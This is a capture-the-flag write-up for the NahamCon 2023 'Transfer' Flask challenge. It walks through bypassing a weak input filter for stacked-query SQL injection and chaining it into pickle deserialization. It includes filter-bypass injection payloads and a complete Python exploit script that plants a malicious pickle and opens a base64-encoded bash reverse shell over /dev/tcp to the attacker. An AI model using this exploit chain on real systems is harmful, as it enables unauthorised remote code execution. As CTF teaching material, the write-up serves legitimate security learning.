# Transfer

<figure><img src="https://3028648746-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fiy0i7sLgfE5awF34jvAx%2Fuploads%2FSy9c74ZpNUBAy0ZJ33v2%2Fnahamcon2023-jpg.webp?alt=media&#x26;token=98708769-bf52-4bfb-b7d4-51e6003c9269" alt="" width="188"><figcaption></figcaption></figure>

{% hint style="info" %}
`Pickle, SQLite3, SQL Injection, Flask`&#x20;
{% endhint %}

{% file src="<https://3028648746-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fiy0i7sLgfE5awF34jvAx%2Fuploads%2FECvQYGSMQBiYk9eNtbMS%2FTransfer.zip?alt=media&token=4d3a599d-9c93-427c-bb3f-a23578ab0a5f>" %}

## Description

```
Author: @JohnHammond#6971

Inspired by current events! :D
Escalate your privileges and find the flag.
```

## Analysis

#### Structure

```
app.py
requirements.txt
├ templates/
├── files.html
├── login.html
                                                         
```

#### SQL Injection

<pre class="language-python" data-title="app.py" data-line-numbers data-full-width="false"><code class="lang-python"><strong>@app.route('/login', methods=['POST'])
</strong>def login_user():
    username = DBClean(request.form['username'])
    password = DBClean(request.form['password'])
    
    conn = get_db()
    c = conn.cursor()

    sql = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
    c.executescript(sql)

    user = c.fetchone()
    if user:
        c.execute(f"SELECT sessionid FROM activesessions WHERE username=?", (username,))
        active_session = c.fetchone()
        if active_session:
            session_id = active_session[0]
        else:
            c.execute(f"SELECT username FROM users WHERE username=?", (username,))
            user_name = c.fetchone()
            if user_name:
                session_id = str(uuid.uuid4())
                c.executescript(f"INSERT INTO activesessions (sessionid, timestamp) VALUES ('{session_id}', '{datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')}')")
            else:
                flash("A session could be not be created")
                return logout()
        
        session['username'] = username
        session['session_id'] = session_id
        conn.commit()
        return redirect(url_for('files'))
    else:
        flash('Username or password is incorrect')
        return redirect(url_for('home'))

</code></pre>

1\. Vulnerability arises from the use of string concatenation to construct the SQL query in the `login_user()` function. l<mark style="color:blue;">ine 9</mark>

2\. `executescript`() and `execute()` methods are both used in Python's sqlite3 to execute SQL statements against an SQLite database. l<mark style="color:blue;">ine 10</mark>

**`executescript():`**

* Used to execute multiple SQL statements or a complete SQL script at once.
* It allows the execution of multiple SQL statements separated by semicolons (`;`) or newlines (`\n`) in a single call.
* The `executescript()` method can handle DDL (Data Definition Language) statements like `CREATE TABLE` or `ALTER TABLE`, as well as DML (Data Manipulation Language) statements like `INSERT`, `UPDATE`, or `DELETE`.
* It returns no result set.

**`execute()`:**

* Used to execute a single SQL statement.
* It is suitable for executing individual SQL statements or parameterized queries.
* The SQL statement can be a DDL or DML statement, depending on the desired operation.
* It can return result sets for queries, allowing you to fetch the retrieved data using methods like `fetchone()`, `fetchall()`, or `fetchmany()`.

Main difference:

**executescript**() allow multiple SQL statements in one input string

\
The <mark style="color:blue;">`DBClean`</mark> function do wrong filter by removing <mark style="color:red;">`'`</mark> , <mark style="color:red;">`"`</mark> and <mark style="color:red;">`Space`</mark> .\
then replacing backslashes to <mark style="color:red;">`'`</mark> .

```python
def DBClean(string):
    for bad_char in " '\"":
        string = string.replace(bad_char,"")
    return string.replace("\\", "'")
    
```

We can bypass them like this:

```agda
'     -> \\
Space -> /**/
```

After setup local webserver to debug app, flask app will create database on tmp:

```python
DATABASE = '/tmp/database.db'
```

Table creation statements define the structure for <mark style="color:orange;">users</mark>, <mark style="color:orange;">active sessions</mark>, and <mark style="color:orange;">files</mark> in the database:

<pre class="language-python" data-title="app.py line 165-167" data-overflow="wrap" data-full-width="false"><code class="lang-python"><strong>c.execute("CREATE TABLE IF NOT EXISTS users (username text, password text)")
</strong> 
c.execute("CREATE TABLE IF NOT EXISTS activesessions (sessionid text, username text, timestamp text)")

c.execute("CREATE TABLE IF NOT EXISTS files (filename text PRIMARY KEY, data blob, sessionid text)")

</code></pre>

To verify the success of our initial injection payload, we can target the `/login` endpoint with <mark style="color:blue;">`username`</mark> POST parameter.

**%0a is URL-encoding of a newline**

{% code title="1. Inject user" overflow="wrap" %}

```python
admin\\;%0aINSERT/**/INTO/**/users/**/(username,password)/**/VALUES/**/(\\admin\\,\\123456789\\);--
```

{% endcode %}

<figure><img src="https://3028648746-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fiy0i7sLgfE5awF34jvAx%2Fuploads%2FY3622LF4bBkVnbsVQjHe%2Fimage.png?alt=media&#x26;token=e25002f0-54e2-4c36-9ffd-58d4d8d543a6" alt=""><figcaption></figcaption></figure>

## Pickle

{% hint style="info" %}
Used to deserialize a serialized object back into a python object, untrusted pickle data can execute arbitrary code, leading to security vulnerabilities.
{% endhint %}

## Code execution

{% code overflow="wrap" fullWidth="false" %}

```python
@app.route('/download/<filename>/<sessionid>', methods=['GET'])
def download_file(filename, sessionid):
    conn = get_db()
    c = conn.cursor()
(*) c.execute(f"SELECT * FROM activesessions WHERE sessionid=?", (sessionid,))
    
    active_session = c.fetchone()
    if active_session is None:
        flash('No active session found')
        return redirect(url_for('home'))
(*) c.execute(f"SELECT data FROM files WHERE filename=?",(filename,))
    
    file_data = c.fetchone()
    if file_data is None:
        flash('File not found')
        return redirect(url_for('files'))

    file_blob = pickle.loads(base64.b64decode(file_data[0]))
    return send_file(io.BytesIO(file_blob), download_name=filename, as_attachment=True)

```

{% endcode %}

We need to create two payloads using our SQL injection:clap:&#x20;

{% code title="2. Inject Session ID" overflow="wrap" %}

```python
admin\\;%0aINSERT/**/INTO/**/activesessions/**/(sessionid,username,/**/timestamp)/**/VALUES/**/(\\admin\\,\\admin\\,\\2023-06-16/**/20:06:55.531553\\);--
```

{% endcode %}

{% code title="3. Inject Data." overflow="wrap" %}

```python
admin\\;%0aINSERT/**/INTO/**/files/**/(filename,data,/**/sessionid)/**/VALUES/**/(\\FileName\\,\\PickleBase64Payload\\,\\admin\\);--
```

{% endcode %}

Our controlled file\_data\[0] (base64 pickle payload) will be loaded by`pickle.loads()`.\
\
After injecting data into the tables, the last step consists of sending a GET request to the `/download/<filename>/<sessionid>` endpoint, resulting code execution. :clap:

## Exploit

<figure><img src="https://3028648746-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fiy0i7sLgfE5awF34jvAx%2Fuploads%2FK42BWyPxwVrS3zdFQ5YB%2Fpoc.png?alt=media&#x26;token=d90ed1b0-2b51-4598-9630-7fae6a263348" alt=""><figcaption></figcaption></figure>

```python
import pickle, requests ,sys, random, base64, os
import threading, telnetlib, socket


URL, LHOST = sys.argv[1], sys.argv[2].replace(':', '/')

print(f"(+) Target URL: {URL}")
print(f"(+) LHOST: {LHOST}")

ngrok = input("\nDo you use ngrok? | y, n: ")

if ngrok == 'y':
    ngrokPort = input("Which port you specify on ngrok? | ex: 443 : ")
    listnerPort = ngrokPort
else:
    listnerPort = LHOST.rsplit('/', 1)[-1]

def doPickle(payload):
    class PickleRce(object):
        def __reduce__(self):
            return (os.system, (payload,))
    
    return base64.b64encode(pickle.dumps(PickleRce()))

def triggerPayload(filename):
    print("(+) Trigger payload")
    
    headers = {
        'Host': URL,
        'Content-Type': 'application/x-www-form-urlencoded',
    }

    endpoint = f"{URL}/download/{filename}/38"
    print(f"(+) Endpoint: {endpoint}")

    return requests.get(endpoint, headers=headers, verify=False, allow_redirects=False).text

def sendRequest(description, data):
    print(f"(+) {description}")

    headers = {
        'Host': URL,
        'Content-Type': 'application/x-www-form-urlencoded',
    }
    data = f'username={data}&password=1'

    return requests.post(f"{URL}/login", headers=headers, data=data, verify=False, allow_redirects=False).text

def handler(port):

    print(f"(+) Starting handler on port {port}")
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", int(port)))
    s.listen(1)
    conn, addr = s.accept()
    print(f"(+) Got Connection from {addr[0]}")
    t.sock = conn
    print("(+) Silv3r")
    t.interact()

handlerThread = threading.Thread(target=handler, args=(listnerPort,))
handlerThread.start()

payload = "admin\\;%0aINSERT/**/INTO/**/users/**/(username,password)/**/VALUES/**/(\\38\\,\\123456789\\);--"
sendRequest("Create user", payload)

payload = "admin\\;%0aINSERT/**/INTO/**/activesessions/**/(sessionid,username,/**/timestamp)/**/VALUES/**/(\\38\\,\\38\\,\\2023-06-16/**/20:06:55.531553\\);--"
sendRequest("Create session", payload)

randNum = random.randint(10000, 99999)
encodedCommand = base64.b64encode(f'bash -i >& /dev/tcp/{LHOST} 0>&1'.encode('utf-8')).decode('utf-8')
Command = f'echo "{encodedCommand}" | base64 -d | bash '
picklePayload = doPickle(Command).decode('utf-8')
payload = "admin\\;%0aINSERT/**/INTO/**/files/**/(filename,data,/**/sessionid)/**/VALUES/**/(\\REPLACEFILENAME\\,\\REPLACEMEPICKLE\\,\\38\\);--".replace("REPLACEFILENAME", str(randNum)).replace("REPLACEMEPICKLE", picklePayload)
sendRequest("Create file", payload)

triggerPayload(randNum)
```

<figure><img src="https://3028648746-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fiy0i7sLgfE5awF34jvAx%2Fuploads%2FK7ygRt6ihrvkSDGWAx9U%2Feaa831b52047aeeab33e7df72aa9e227544a5234dbe2b2d93ed49f66c5ef45d3.png?alt=media&#x26;token=f672667e-3bc3-485f-86b5-fc14d87c90c4" alt=""><figcaption></figcaption></figure>
